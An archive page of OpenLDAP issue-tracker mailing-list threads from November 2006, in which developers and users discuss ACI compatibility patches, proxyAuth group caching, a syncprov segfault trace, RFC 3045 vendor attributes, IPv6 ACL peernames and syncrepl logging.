> > I have no objection at accepting this code, since it seems to > create no backwards compatibility issues but rather solves a > (irrelevant?) compatibility issue with an ancient version of > the code in an area that I believe to be of questionable > usefulness. At least it had help me by upgrading a bunch of servers from 2.1 which used this feature. > In fact, ACIs have been deprecated ever since, > so I wouldn't spend too much time with them. If there's no > IPR issues (as, for what I can tell, there appear to be > none), I'd try to apply the patch to HEAD code. > Thanks. We use ACI, because we have a setup where we replicate different parts of the tree to different slave ldap servers. By using ACI's the access information get's replicated too. To get the same behaviour with ACL's it would be much more compilcated, because we would need to sort out which ACL's to replicate and which not, because not simply subtrees are replicated (we cannot simply replicate all ACL's because this would leak too much informations). >From this point of view ACI are quite usefull, at least for us. Gerald ** Virus checked by BB-5000 Mailfilter **

1 0

Re: (ITS#4759) aci comptibilty to V2.1; multiple attrs
by ando＠sys-net.it 23 Nov '06

23 Nov '06

richter(a)ecos.de wrote: I have no objection at accepting this code, since it seems to create no backwards compatibility issues but rather solves a (irrelevant?) compatibility issue with an ancient version of the code in an area that I believe to be of questionable usefulness. In fact, ACIs have been deprecated ever since, so I wouldn't spend too much time with them. If there's no IPR issues (as, for what I can tell, there appear to be none), I'd try to apply the patch to HEAD code. p. Ing. Pierangelo Masarati OpenLDAP Core Team SysNet s.n.c. Via Dossi, 8 - 27100 Pavia - ITALIA http://www.sys-net.it ------------------------------------------ Office: +39.02.23998309 Mobile: +39.333.4963172 Email: pierangelo.masarati(a)sys-net.it ------------------------------------------

1 0

Re: (ITS#4760) problem with group caching and proxyAuth control
by ando＠sys-net.it 23 Nov '06

23 Nov '06

richter(a)ecos.de wrote: > I noticed that when I use the proxyAuth control group members are not correctly > resolved. > > What I do is to login as user A and do a search with proxyAuth control with an > authzid of user B. > > User B is member of a group, which grants him access to the some items. User A > is not. > > When directly logging in as user B, everything is ok. Using proxyAuth user B > doesn't have access to the items that are granted to the group. > > The reason is that the group membership is cached, and therefore users A > membership is used for ACL evaluation, instead of users B membership. > > The attached patch, simply deletes all cached groups, when inside the proxyAuth > control setup, which resolvs this issue. > I'm not sure I understand the issue you describe. In fact, groups appear to be cached on a per-operation basis, and user membership is evaluated using the authorized identity (B in your case), so the behavior should be correct. I've made a simple check using re23 and things appear to work as expected: I log in as a user (A) that is not in a group and authorize as a user (B) that is in that group. I previously configured slapd so that only members of that group are allowed to read an attribute in the whole db (say "cn"). Things work as expected: if I login as user A I can't see "cn", but if I either log in as user B, or login as user A and proxyAuthz as B I can read the "cn". Can you provide a simple example (slapd.conf, db.ldif and sequence of operations, e.g. in a shell script) that causes the issue you see? p. Ing. Pierangelo Masarati OpenLDAP Core Team SysNet s.n.c. Via Dossi, 8 - 27100 Pavia - ITALIA http://www.sys-net.it ------------------------------------------ Office: +39.02.23998309 Mobile: +39.333.4963172 Email: pierangelo.masarati(a)sys-net.it ------------------------------------------

1 0

(ITS#4760) problem with group caching and proxyAuth control
by richter＠ecos.de 23 Nov '06

23 Nov '06

Full_Name: Gerald Richter Version: 2.3.30 OS: Linux URL: ftp://ftp.openldap.org/incoming/Gerald-Richter-061123.2.patch Submission from: (NULL) (194.95.226.11) Hi, I noticed that when I use the proxyAuth control group members are not correctly resolved. What I do is to login as user A and do a search with proxyAuth control with an authzid of user B. User B is member of a group, which grants him access to the some items. User A is not. When directly logging in as user B, everything is ok. Using proxyAuth user B doesn't have access to the items that are granted to the group. The reason is that the group membership is cached, and therefore users A membership is used for ACL evaluation, instead of users B membership. The attached patch, simply deletes all cached groups, when inside the proxyAuth control setup, which resolvs this issue. Gerald This patch file is derived from OpenLDAP Software. All of the modifications to OpenLDAP Software represented in the following patch(es) were developed by Gerald Richter <richter(a)ecos.de>. These modifications are not subject to any license of ecos GmbH. Redistribution and use in source and binary forms, with or without modification, are permitted only as authorized by the OpenLDAP Public License.

1 0

(ITS#4759) aci comptibilty to V2.1; multiple attrs
by richter＠ecos.de 23 Nov '06

23 Nov '06

Full_Name: Gerald Richter Version: 2.3.30 OS: Linux URL: ftp://ftp.openldap.org/incoming/Gerald-Richter-061123.patch Submission from: (NULL) (194.95.226.11) Hi, I found that due to the rewrite of ACI code, the possiblity to specify more than one attribute in one ACI entry has gone lost. We discussed this already at the beginning of the year on the mailing list. I have made a patch, that is in heavy production use on several systems for some time now, that again (as in OpenLDAP 2.1) allows to have multiple attributes in one ACI. This is not only a compatibility issue, but also improves the performance of ACI handling, if you need to specifiy a lot of attributes. The patch also adds some more debugging output, that allows to easyer understand what's going on, when you have set some ACI and it does not have the desired result. Gerald This patch file is derived from OpenLDAP Software. All of the modifications to OpenLDAP Software represented in the following patch(es) were developed by Gerald Richter <richter(a)ecos.de>. These modifications are not subject to any license of ecos GmbH. Redistribution and use in source and binary forms, with or without modification, are permitted only as authorized by the OpenLDAP Public License.

1 0

(ITS#4758) valsort + dynlist can cause 100% cpu utilization causing slapd to become unresponsive
by michael.heep＠o2.com 23 Nov '06

23 Nov '06

Full_Name: Michael Heep Version: 2.3.30 OS: Linux (RHES30) URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (82.113.101.1) Hi, the following valsort + dynlist combination causes slapd to utilize 100% cpu time when issueing searches against parts of the DIT containing attribute-value pairs "created" by dynlist: overlay dynlist dynlist-attrset extensibleObject memberURL uniqueMember overlay valsort valsort-attr uniqueMember dc=o2online,dc=de alpha-ascend When run independent both overlays work flawlessly.

1 0

ITS#4600 slap_mods_check duplicate check
by hyc＠symas.com 23 Nov '06

23 Nov '06

There *is* a bug here, as Nick pointed out in the first followup - slap_mods2entry does a redundant check for duplicates. All of the mods that get fed into this function have already been checked by slap_mods_check. So we're doing an n^2 check twice on every add, no wonder LDAPAdds are so slow... -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4723) SEGV in syncprov search
by richton＠nbcs.rutgers.edu 21 Nov '06

21 Nov '06

Since test033 didn't replicate, I ran librtc against a full production config. The SEGV occurred here (note we're not inside malloc due to librtc redzone features): <rtc> Write to unallocated (wua) on thread 11: Attempting to write 1 byte at address 0xc886b0 which is just past heap block of size 128 bytes at 0xc88630 This block was allocated from: [1] default_malloc_ex() at line 79 in "mem.c" [2] CRYPTO_malloc() at line 304 in "mem.c" [3] RSA_eay_private_decrypt() at line 488 in "rsa_eay.c" [4] RSA_private_decrypt() at line 292 in "rsa_lib.c" [5] ssl3_get_client_key_exchange() at line 1454 in "s3_srvr.c" [6] ssl3_accept() at line 448 in "s3_srvr.c" [7] SSL_accept() at line 816 in "ssl_lib.c" [8] ldap_pvt_tls_accept() at line 863 in "tls.c" Location of error: current thread: t@11 =>[1] BN_bn2bin(a = 0xd93ff3d4, to = 0xc886b0 ""), line 649 in "bn_lib.c" [2] RSA_eay_private_decrypt(flen = 128, from = 0xc76066 "6^D\xf3\xd8\xfb\xa4\x83^H5\xd8b\xa2\xe2\xd9\xdf_0`(^T:w\xd8\xff^C\xf7W\xe2_\xaar\xec\xc7\xf5~\xf1\xf1E{^NX\xe2.\xf5\xa4B^L\xf6$\xb7=\x8er\xde\xee\xce^R^W\x95^?^?", to = 0xc76066 "6^D\xf3\xd8\xfb\xa4\x83^H5\xd8b\xa2\xe2\xd9\xdf_0`(^T:w\xd8\xff^C\xf7W\xe2_\xaar\xec\xc7\xf5~\xf1\xf1E{^NX\xe2.\xf5\xa4B^L\xf6$\xb7=\x8er\xde\xee\xce^R^W\x95^?^?", rsa = 0xbb5a08, padding = 1), line 576 in "rsa_eay.c" [3] RSA_private_decrypt(flen = 128, from = 0xc76066 "6^D\xf3\xd8\xfb\xa4\x83^H5\xd8b\xa2\xe2\xd9\xdf_0`(^T:w\xd8\xff^C\xf7W\xe2_\xaar\xec\xc7\xf5~\xf1\xf1E{^NX\xe2.\xf5\xa4B^L\xf6$\xb7=\x8er\xde\xee\xce^R^W\x95^?^?", to = 0xc76066 "6^D\xf3\xd8\xfb\xa4\x83^H5\xd8b\xa2\xe2\xd9\xdf_0`(^T:w\xd8\xff^C\xf7W\xe2_\xaar\xec\xc7\xf5~\xf1\xf1E{^NX\xe2.\xf5\xa4B^L\xf6$\xb7=\x8er\xde\xee\xce^R^W\x95^?^?", rsa = 0xbb5a08, padding = 1), line 292 in "rsa_lib.c" [4] ssl3_get_client_key_exchange(s = 0xc74500), line 1454 in "s3_srvr.c" [5] ssl3_accept(s = 0xc74500), line 448 in "s3_srvr.c" [6] SSL_accept(s = 0xc74500), line 816 in "ssl_lib.c" [7] ldap_pvt_tls_accept(sb = 0xc74068, ctx_arg = 0xb53bd8), line 863 in "tls.c" [8] connection_read(s = 46), line 1337 in "connection.c" [9] slapd_daemon_task(ptr = (nil)), line 2352 in "daemon.c" This system is running OpenSSL 0.9.7l, although I've seen the #4723 segfault (not under debugger, alas) on 0.9.7d systems as well. Is there any easy way to turn on traffic encryption in 'make test', possibly with some on-the-fly self-gen certs?

1 0

Re: (ITS#3460) Adding LDAP statistics script to contrib directory
by Frank.Swasey＠uvm.edu 20 Nov '06

20 Nov '06

This is a cryptographically signed message in MIME format. --------------ms020103070007040700000908 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit I'm slow reading my email (well 18 days isn't so bad really... ahem...) On 11/2/06 2:42 PM, quanah(a)stanford.edu wrote: > As for #2, I grant such a release for the work I've done on the script. > > Peter S, Dave, Peter M, Frank, and Todd, do you also grant such a release > for the work you've done with this script? :) Yes, I do grant this release. -- Frank Swasey | http://www.uvm.edu/~fcs Sr Systems Administrator | Always remember: You are UNIQUE, University of Vermont | just like everyone else. "I am not young enough to know everything." - Oscar Wilde (1854-1900) --------------ms020103070007040700000908 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIJDzCC AuIwggJLoAMCAQICEAq9rKiduK3HCbKzsBiBodUwDQYJKoZIhvcNAQEEBQAwYjELMAkGA1UE BhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMT I1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENBMB4XDTA2MDcxNzE2NTcyNloX DTA3MDcxNzE2NTcyNlowRjEfMB0GA1UEAxMWVGhhd3RlIEZyZWVtYWlsIE1lbWJlcjEjMCEG CSqGSIb3DQEJARYURnJhbmsuU3dhc2V5QHV2bS5lZHUwggEiMA0GCSqGSIb3DQEBAQUAA4IB DwAwggEKAoIBAQCzhSmesaR8qf2y5cNt0qa27m42Kq3Bwubs28CzSxR1uRUaRZUfL/C2FEFV kKSat6da5b19UEWxM1giaWvLeDtQE5Tok8GhN8LNgScTiSEM6gFWnL0o7A9W7oAj42dfFvBV md7/u7nSJoAP3Wt9cU3TBJBh99U89EzIYLNik8iVhzbwfNmisxmuR5870AHURoR1sN/X4jWx q5114Rv8r60+bVitlXL7P20Z2S9+va9+a7+C1P/yJLPq1GK8+X9uaoUaGHlapBeBYNu3QWQG Q+mF+QuidS01jbaburvJxUm7dVO3QRt1PovVhlidv89eqcH8n4h7xSG1IG3teNJkschdAgMB AAGjMTAvMB8GA1UdEQQYMBaBFEZyYW5rLlN3YXNleUB1dm0uZWR1MAwGA1UdEwEB/wQCMAAw DQYJKoZIhvcNAQEEBQADgYEAblV8ye5ZLs/y3DX0W3NU67N2T6tOSZ1609L+BRWB/Md7RDFd Cm8AXFIldDLzkyPFqs9WpgAQLvZ0gRXQ8aqwYEBB3WlZzkpUS+YTuY6X9wjcroMjHCyWNpq0 /joDumCNSEWiZJ6AZMRom9Z/P6foBxXmgCBKVq/O0mGqgArlxdkwggLiMIICS6ADAgECAhAK vayonbitxwmys7AYgaHVMA0GCSqGSIb3DQEBBAUAMGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQK ExxUaGF3dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29u YWwgRnJlZW1haWwgSXNzdWluZyBDQTAeFw0wNjA3MTcxNjU3MjZaFw0wNzA3MTcxNjU3MjZa MEYxHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxIzAhBgkqhkiG9w0BCQEWFEZy YW5rLlN3YXNleUB1dm0uZWR1MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAs4Up nrGkfKn9suXDbdKmtu5uNiqtwcLm7NvAs0sUdbkVGkWVHy/wthRBVZCkmrenWuW9fVBFsTNY Imlry3g7UBOU6JPBoTfCzYEnE4khDOoBVpy9KOwPVu6AI+NnXxbwVZne/7u50iaAD91rfXFN 0wSQYffVPPRMyGCzYpPIlYc28HzZorMZrkefO9AB1EaEdbDf1+I1sauddeEb/K+tPm1YrZVy +z9tGdkvfr2vfmu/gtT/8iSz6tRivPl/bmqFGhh5WqQXgWDbt0FkBkPphfkLonUtNY22m7q7 ycVJu3VTt0EbdT6L1YZYnb/PXqnB/J+Ie8UhtSBt7XjSZLHIXQIDAQABozEwLzAfBgNVHREE GDAWgRRGcmFuay5Td2FzZXlAdXZtLmVkdTAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEBBAUA A4GBAG5VfMnuWS7P8tw19FtzVOuzdk+rTkmdetPS/gUVgfzHe0QxXQpvAFxSJXQy85MjxarP VqYAEC72dIEV0PGqsGBAQd1pWc5KVEvmE7mOl/cI3K6DIxwsljaatP46A7pgjUhFomSegGTE aJvWfz+n6AcV5oAgSlavztJhqoAK5cXZMIIDPzCCAqigAwIBAgIBDTANBgkqhkiG9w0BAQUF ADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2Fw ZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYGA1UECxMfQ2VydGlmaWNh dGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBlcnNvbmFsIEZyZWVt YWlsIENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3dGUuY29tMB4X DTAzMDcxNzAwMDAwMFoXDTEzMDcxNjIzNTk1OVowYjELMAkGA1UEBhMCWkExJTAjBgNVBAoT HFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25h bCBGcmVlbWFpbCBJc3N1aW5nIENBMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDEpjxV c1X7TrnKmVoeaMB1BHCd3+n/ox7svc31W/Iadr1/DDph8r9RzgHU5VAKMNcCY1osiRVwjt3J 8CuFWqo/cVbLrzwLB+fxH5E2JCoTzyvV84J3PQO+K/67GD4Hv0CAAmTXp6a7n2XRxSpUhQ9I BH+nttE8YQRAHmQZcmC3+wIDAQABo4GUMIGRMBIGA1UdEwEB/wQIMAYBAf8CAQAwQwYDVR0f BDwwOjA4oDagNIYyaHR0cDovL2NybC50aGF3dGUuY29tL1RoYXd0ZVBlcnNvbmFsRnJlZW1h aWxDQS5jcmwwCwYDVR0PBAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFQcml2YXRl TGFiZWwyLTEzODANBgkqhkiG9w0BAQUFAAOBgQBIjNFQg+oLLswNo2asZw9/r6y+whehQ5aU nX9MIbj4Nh+qLZ82L8D0HFAgk3A8/a3hYWLD2ToZfoSxmRsAxRoLgnSeJVCUYsfbJ3FXJY3d qZw5jowgT2Vfldr394fWxghOrvbqNOUQGls1TXfjViF4gtwhGTXeJLHTHUb/XV9lTzGCA2Qw ggNgAgEBMHYwYjELMAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQ dHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENB AhAKvayonbitxwmys7AYgaHVMAkGBSsOAwIaBQCgggHDMBgGCSqGSIb3DQEJAzELBgkqhkiG 9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTA2MTEyMDE5NTUxN1owIwYJKoZIhvcNAQkEMRYEFEe5 R0tOqDV5mZSEX9tMzc1x2JoeMFIGCSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYIKoZI hvcNAwICAgCAMA0GCCqGSIb3DQMCAgFAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMIGFBgkr BgEEAYI3EAQxeDB2MGIxCzAJBgNVBAYTAlpBMSUwIwYDVQQKExxUaGF3dGUgQ29uc3VsdGlu ZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgSXNzdWlu ZyBDQQIQCr2sqJ24rccJsrOwGIGh1TCBhwYLKoZIhvcNAQkQAgsxeKB2MGIxCzAJBgNVBAYT AlpBMSUwIwYDVQQKExxUaGF3dGUgQ29uc3VsdGluZyAoUHR5KSBMdGQuMSwwKgYDVQQDEyNU aGF3dGUgUGVyc29uYWwgRnJlZW1haWwgSXNzdWluZyBDQQIQCr2sqJ24rccJsrOwGIGh1TAN BgkqhkiG9w0BAQEFAASCAQB5jfu/W/bTIPufVHhrEsZS19DtAZXNQisiNsDTRGtdQGyyS9w2 NE0w5B0Lhbhg+dgwBGvd03/OqxwguatStF0fpgW2sFK3pbvClmRA7mXte5d51GNP49COPd4C R1dLsOtzmhHb2YJ8Cg46vZWE/UdgGYYoV4zStPNJHs3Z07pQ5pCBMhd4l/BZht+BPgNiirLv UskWVwSwUfGxfgEka9yG4KLCQdhL44oUXRcawWfrOPcmN80jrXHp6FnsNSJ43ifztqK4QKyY idUeA+NEmv3Ss5AO6PkvC51rsr2qmLkMeczl/ZuvcxGaDDloBibCdWJu5R81pRoTO0UdPfiw uwbIAAAAAAAA --------------ms020103070007040700000908--

1 0

Re: (ITS#4757) Support for RFC 3045: Storing Vendor Information in the LDAP root DSE
by Kurt＠OpenLDAP.org 20 Nov '06

20 Nov '06

At 12:36 AM 11/20/2006, michael(a)stroeder.com wrote: >Kurt D. Zeilenga wrote: >> At 01:37 AM 11/19/2006, michael(a)stroeder.com wrote: >>> >>>I'd like to see support for RFC 3045 in slapd. >> >> The only reasonably decent use of such attributes is for >> administrators to determine whether they need to upgrade >> some software or not > >Yes, that's what I'm after. This purpose is, I think, somewhat beyond the intended purpose of the vendorName/Version attributes. These attributes appear to be intended to be used by general LDAP clients, not just administrative clients, for "limited feature discovery". The vendorName/Version you might want reported for "limited feature discovery" might be quite different than what you want reported for "need to upgrade" purposes. And for "need to upgrade" purposes, one needs to know not only the version of the protocol engine (slapd(8)), but version of backend codes, overlay codes, underlying libraries, etc.. >> We provide cn=monitor for this purpose. > >This is proprietary. Think of vendor-independent management/monitoring >software which just gives an terse overview. Generally speaking, DSA administrative interfaces are not standardized. (Which is, to some degree, why I think use of vendorName/Version for administrative purposes is beyond the intentions of these attributes.) >> While it certainly is possible for a client to abuse >> cn=monitor version information, the very fact that the >> version information is in cn=monitor, which generally >> requires special authorization to read, instead of >> the root dse, which generally is readable by most >> every client, is effective in discouraging this abuse. > >The server admin can easily define access control for vendor information >in root DSE. The sample slapd.conf could endorse this. Or another value >for configuration directive 'allow'. Yes, but... Kurt

1 0

Re: (ITS#4757) Support for RFC 3045: Storing Vendor Information in the LDAP root DSE
by michael＠stroeder.com 20 Nov '06

20 Nov '06

Kurt D. Zeilenga wrote: > At 01:37 AM 11/19/2006, michael(a)stroeder.com wrote: >> >>I'd like to see support for RFC 3045 in slapd. > > The only reasonably decent use of such attributes is for > administrators to determine whether they need to upgrade > some software or not Yes, that's what I'm after. > We provide cn=monitor for this purpose. This is proprietary. Think of vendor-independent management/monitoring software which just gives an terse overview. > While it certainly is possible for a client to abuse > cn=monitor version information, the very fact that the > version information is in cn=monitor, which generally > requires special authorization to read, instead of > the root dse, which generally is readable by most > every client, is effective in discouraging this abuse. The server admin can easily define access control for vendor information in root DSE. The sample slapd.conf could endorse this. Or another value for configuration directive 'allow'. Ciao, Michael.

1 0

Re: (ITS#4757) Support for RFC 3045: Storing Vendor Information in the LDAP root DSE
by Kurt＠OpenLDAP.org 19 Nov '06

19 Nov '06

At 01:37 AM 11/19/2006, michael(a)stroeder.com wrote: >Full_Name: Michael Ströder >Version: not relevant >OS: not relevant >URL: ftp://ftp.openldap.org/incoming/ >Submission from: (NULL) (83.124.27.203) > > >HI! > >I'd like to see support for RFC 3045 in slapd. The only reasonably decent use of such attributes is for administrators to determine whether they need to upgrade some software or not (though use of a protocol attribute for this purpose is somewhat problematic). We provide cn=monitor for this purpose. The primary use (or I should say misuse) of such strings is for server behavior discovery (whether the behavior is due to a feature or a bug). As this use leads to interoperability problems (as illustrated by the HTTP "mozilla" compatibility problems), we must allow spoofing and should discourage this use. We support the former via the rootdse configuration option. We support the latter by not providing any values by default. While it certainly is possible for a client to abuse cn=monitor version information, the very fact that the version information is in cn=monitor, which generally requires special authorization to read, instead of the root dse, which generally is readable by most every client, is effective in discouraging this abuse. I think it reasonable to assume any administrative tool for determining whether an OpenLDAP server is up to date would have appropriate authorization to read the cn=monitor values. I note that such tools should not assume a server needs not be upgraded simply because the version is high enough. There easily could be dependent software whose version is not high enough. It would be good for cn=monitor to not only expose the OpenLDAP version information, but to expose version information for dependent software. Of course, as there is an endless number of dependent software, this upgrade detection approach problematic. Seems it would be better to use tools that ran directly on the box to determine whether a server's software needed to be upgraded. But I digresss. In the past we have rejected submissions to extend slapd(8) to generate these values, hence I think this feature request should be closed. However, such closure certainly doesn't preclude someone from implementing **additional** vendorName/Version functionality and submitting it for consideration. There is one aspect of our current vendorName/Version support that is lacking is in dealing with multiple broken clients requiring different vendorName/Version strings. An overlay which spoofed these strings on a configurable basis, whether by authorization identity and/or IP address and/or other authorization factor, would be an interesting functionality addition. Kurt

1 0

(ITS#4757) Support for RFC 3045: Storing Vendor Information in the LDAP root DSE
by michael＠stroeder.com 19 Nov '06

19 Nov '06

Full_Name: Michael Ströder Version: not relevant OS: not relevant URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (83.124.27.203) HI! I'd like to see support for RFC 3045 in slapd. Yes, I know I can set this using configuration directive rootDSE in slapd.conf. But that doesn't really help, especially regarding 'vendorVersion'. Ciao, Michael.

1 0

Re: (ITS#4723) SEGV in syncprov search
by richton＠nbcs.rutgers.edu 17 Nov '06

17 Nov '06

Still no good with 2.3.30. I ran 2.3.30 test033 under librtc (valgrind-esque) and it came up clean, so this has to be intermittent or more than a simple config can instigate. [1] t_delete(0xc2c398, 0x50, 0x992e508, 0xfec3c000, 0x0, 0x0), at 0xfebc783c [2] _malloc_unlocked(0x25, 0x0, 0xcb4b0, 0xfec3c000, 0x0, 0x99d3829), at 0xfebc6ecc [3] malloc(0x25, 0x0, 0xffffffff, 0xfffffff8, 0x0, 0xd573ef7d), at 0xfebc6d00 =>[4] ber_memalloc_x(s = 37U, ctx = (nil)), line 226 in "memory.c" [5] ch_malloc(size = 37U), line 54 in "ch_malloc.c" [6] hdb_fix_dn(e = 0x99d3630, checkit = 0), line 445 in "dn2id.c" [7] hdb_cache_find_id(op = 0xd57ff4f4, tid = (nil), id = 7586U, eip = 0xd573f2e8, islocked = 0, locker = 150U, lock = 0xd573f26c), line 765 in "cache.c" [8] hdb_search(op = 0xd57ff4f4, rs = 0xd57ff4b8), line 696 in "search.c" [9] syncprov_findcsn(op = 0x3edff0, mode = FIND_PRESENT), line 685 in "syncprov.c" [10] syncprov_op_search(op = 0x3edff0, rs = 0xd57ffd50), line 2056 in "syncprov.c" [11] overlay_op_walk(op = 0x3edff0, rs = 0xd57ffd50, which = op_search, oi = 0x31bfb8, on = 0x31c0b0), line 491 in "backover.c" [12] over_op_func(op = 0x3edff0, rs = 0xd57ffd50, which = op_search), line 551 in "backover.c" [13] over_op_search(op = 0x3edff0, rs = 0xd57ffd50), line 573 in "backover.c" [14] fe_op_search(op = 0x3edff0, rs = 0xd57ffd50), line 355 in "search.c" [15] do_search(op = 0x3edff0, rs = 0xd57ffd50), line 217 in "search.c" [16] connection_operation(ctx = 0xd57ffe14, arg_v = 0x3edff0), line 1122 in "connection.c" [17] ldap_int_thread_pool_wrapper(xpool = 0x2c5df0), line 478 in "tpool.c"

1 0

Re: (ITS#4675) slapd bus error when searching in a subtree
by quanah＠stanford.edu 17 Nov '06

17 Nov '06

--On Wednesday, November 15, 2006 3:53 PM +0000 ghen(a)telenet.be wrote: > Why was tick ticket closed? The problem still exists. Did you read the notes in the ITS system? --Quanah -- Quanah Gibson-Mount Principal Software Developer ITS/Shared Application Services Stanford University GnuPG Public Key: http://www.stanford.edu/~quanah/pgp.html

1 0

RE: (ITS#4756) IPv6 Addresses are not supported in ACL peername
by Damon.Groenveld＠ca.com 16 Nov '06

16 Nov '06

Given that the code (in aclparse.c) calls inet_addr() with the peername.ip parameter, I can't see how it could will work with IPv6. The only possible workaround is using a regex instead of ip type which by passes the inet_addr() call. I raised it as a bug since the latest version (as far as I can tell) is meant to support IPv6 and there is no way that peername.ip does and there isn't an alternative. I asked the question regarding other ways to restrict access since I noted that the documentation mentions TCP Wrappers and has a see also of host_options(5) -- which does not exist, so I was hoping that some advice might come while someone looked at the problem (if or when it was deemed important enough). Damon Groenveld CA Architect, Development tel: +61 3 9727 8920 fax: +61 3 9727 3491 mobile: +61 419 922 326 damon.groenveld(a)ca.com -----Original Message----- From: Howard Chu [mailto:hyc@symas.com] Sent: Friday, 17 November 2006 4:59 PM To: Groenveld, Damon Cc: openldap-its(a)openldap.org Subject: Re: (ITS#4756) IPv6 Addresses are not supported in ACL peername damon.groenveld(a)ca.com wrote: > Full_Name: Damon Groenveld > Version: LATEST > OS: Solaris, WinXP, Linux, AIX, HP-UX > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (60.224.6.218) > > > There does not seem to be the ability to specify an IPv6 address in the peername > part of the ACL. > > Is there any other way to restrict access to a host IP address when using only > IPv6 addresses? Software usage questions should be directed to the OpenLDAP-software mailing list. There is no indication of a bug here, most likely this report should be closed. -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

Re: (ITS#4756) IPv6 Addresses are not supported in ACL peername
by hyc＠symas.com 16 Nov '06

16 Nov '06

damon.groenveld(a)ca.com wrote: > Full_Name: Damon Groenveld > Version: LATEST > OS: Solaris, WinXP, Linux, AIX, HP-UX > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (60.224.6.218) > > > There does not seem to be the ability to specify an IPv6 address in the peername > part of the ACL. > > Is there any other way to restrict access to a host IP address when using only > IPv6 addresses? Software usage questions should be directed to the OpenLDAP-software mailing list. There is no indication of a bug here, most likely this report should be closed. -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

(ITS#4756) IPv6 Addresses are not supported in ACL peername
by damon.groenveld＠ca.com 16 Nov '06

16 Nov '06

Full_Name: Damon Groenveld Version: LATEST OS: Solaris, WinXP, Linux, AIX, HP-UX URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (60.224.6.218) There does not seem to be the ability to specify an IPv6 address in the peername part of the ACL. Is there any other way to restrict access to a host IP address when using only IPv6 addresses?

1 0

Re: (ITS#4755) Show peer's name when syncrepl fails
by daveh＠ci.com.au 16 Nov '06

16 Nov '06

On Thu, 16 Nov 2006, Howard Chu wrote: > Since the rid is supposed to be unique, would you settle for that? > Particularly since there may be multiple sessions to the same host... Yes, that will do nicely. In the meantime I was getting it to print si->si_bindconf.sb_uri.bv_val, as I sort of need it right now... -- Dave Horsfall DTM VK2KFU daveh(a)ci.com.au Ph: +61 2 9552-5509 (d) -5500 (sw) Corinthian Eng'ng P/L, Ste 54 Jones Bay Whf, 26-32 Pirrama Rd, Pyrmont 2009, AU

1 0

Re: (ITS#4755) Show peer's name when syncrepl fails
by hyc＠symas.com 16 Nov '06

16 Nov '06

daveh(a)ci.com.au wrote: > Full_Name: Dave Horsfall > Version: 2.3.27 > OS: FreeBSD 4.10 > URL: ftp://ftp.openldap.org/incoming/ > Submission from: (NULL) (192.65.182.30) > > > We have a mesh of 10 OpenLDAP servers replicating to each other (don't ask). > Should a syncrepl fail, it would be good to know just which peer was causing the > trouble. Could this name (or IP address, or syncrepl host etc) be passed to the > Debug() call? Since the rid is supposed to be unique, would you settle for that? Particularly since there may be multiple sessions to the same host... -- -- Howard Chu Chief Architect, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc OpenLDAP Core Team http://www.openldap.org/project/

1 0

(ITS#4755) Show peer's name when syncrepl fails
by daveh＠ci.com.au 16 Nov '06

16 Nov '06

Full_Name: Dave Horsfall Version: 2.3.27 OS: FreeBSD 4.10 URL: ftp://ftp.openldap.org/incoming/ Submission from: (NULL) (192.65.182.30) We have a mesh of 10 OpenLDAP servers replicating to each other (don't ask). Should a syncrepl fail, it would be good to know just which peer was causing the trouble. Could this name (or IP address, or syncrepl host etc) be passed to the Debug() call?

1 0

Re: (ITS#4754) Allow a Consumer Syncrepl credentials= to be encrypted liek rootpw
by hyc＠symas.com 16 Nov '06

16 Nov '06

